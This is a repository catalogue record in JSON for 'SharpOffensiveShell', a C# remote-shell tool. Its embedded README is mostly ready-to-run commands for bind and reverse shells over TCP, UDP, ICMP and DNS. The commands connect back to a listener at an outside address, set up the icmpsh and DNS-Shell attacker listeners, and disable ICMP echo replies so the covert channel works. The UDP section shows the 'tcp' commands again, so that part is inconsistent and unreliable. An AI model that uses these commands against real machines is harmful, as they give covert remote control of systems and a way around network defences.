{"id":20608608,"url":"https://github.com/darkr4y/sharpoffensiveshell","last_synced_at":"2025-06-11T18:38:44.128Z","repository":{"id":53709448,"uuid":"206224541","full_name":"darkr4y/SharpOffensiveShell","owner":"darkr4y","description":"A sort of simple shell which support multiple protocols.","archived":false,"fork":false,"pushed_at":"2019-09-04T03:37:56.000Z","size":5,"stargazers_count":99,"open_issues_count":0,"forks_count":22,"subscribers_count":5,"default_branch":"master","last_synced_at":"2025-03-28T15:51:47.174Z","etag":null,"topics":["csharp","dns","icmp","reverse-shell"],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/darkr4y.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2019-09-04T03:36:54.000Z","updated_at":"2024-11-18T08:40:22.000Z","dependencies_parsed_at":"2022-09-15T18:02:42.275Z","dependency_job_id":null,"html_url":"https://github.com/darkr4y/SharpOffensiveShell","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/darkr4y%2FSharpOffensiveShell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/darkr4y%2FSharpOffensiveShell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/darkr4y%2FSharpOffensiveShell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/darkr4y%2FSharpOffensiveShell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/darkr4y","download_url":"https://codeload.github.com/darkr4y/SharpOffensiveShell/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":249004377,"owners_count":21196864,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["csharp","dns","icmp","reverse-shell"],"created_at":"2024-11-16T10:11:09.036Z","updated_at":"2025-04-15T04:21:45.207Z","avatar_url":"https://github.com/darkr4y.png","language":"C#","funding_links":[],"categories":[],"sub_categories":[],"readme":"# SharpOffensiveShell\n\nA sort of simple shell which support multiple protocols. \n\nThis project is just for improving my C# coding ability. The SharpOffsensiveShell DNS mode use the Native Windows API instead of the Nslookup command to perform DNS requests.\n\n## QuickStart\n\nSharpOffsensiveShell support .NET Framework 2.0\n\n ```\ncsc SharpOffensiveShell.cs\n ```\n\n## TCP\n\n**For bind shell**\n\n```\nsharpoffensiveshell.exe tcp listen 0.0.0.0 8080\n```\n\n```\nncat -v 1.1.1.1 8080\n```\n\n**For reverse shell**\n\n```\nncat -lvp 8080\n```\n\n```\nsharpoffensiveshell.exe tcp connect 1.1.1.1 8080\n```\n\n## UDP\n\n**For bind shell**\n\n```\nsharpoffensiveshell.exe tcp listen 0.0.0.0 8080\n```\n\n```\nncat -u -v 1.1.1.1 8080\n```\n\n**For reverse shell**\n\n```\nncat -u -lvp 8080\n```\n\nWhen  reverse connection accepted, type enter to make prompt display.\n\n```\nsharpoffensiveshell.exe tcp connect 1.1.1.1 8080\n```\n\n## ICMP\n\n```\ngit clone https://github.com/inquisb/icmpsh\nsysctl -w net.ipv4.icmp_echo_ignore_all=1\ncd icmpsh \u0026\u0026 python icmpsh-m.py listenIP reverseConnectIP\n```\n\n```\nsharpoffensiveshell.exe icmp connect listenIP\n```\n\n## DNS\n\n```\npip install dnslib\ngit clone https://github.com/sensepost/DNS-Shell\n```\n\n**For direct mode**\n\n```\npython DNS-Shell.py -l -d [Server IP]\nsharpoffensiveshell.exe dns direct ServerIP Domain \n```\n\n**For recursive mode**\n\n```\nDNS-Shell.py -l -r [Domain]\nsharpoffensiveshell.exe dns recurse Domain\n```\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdarkr4y%2Fsharpoffensiveshell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdarkr4y%2Fsharpoffensiveshell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdarkr4y%2Fsharpoffensiveshell/lists"}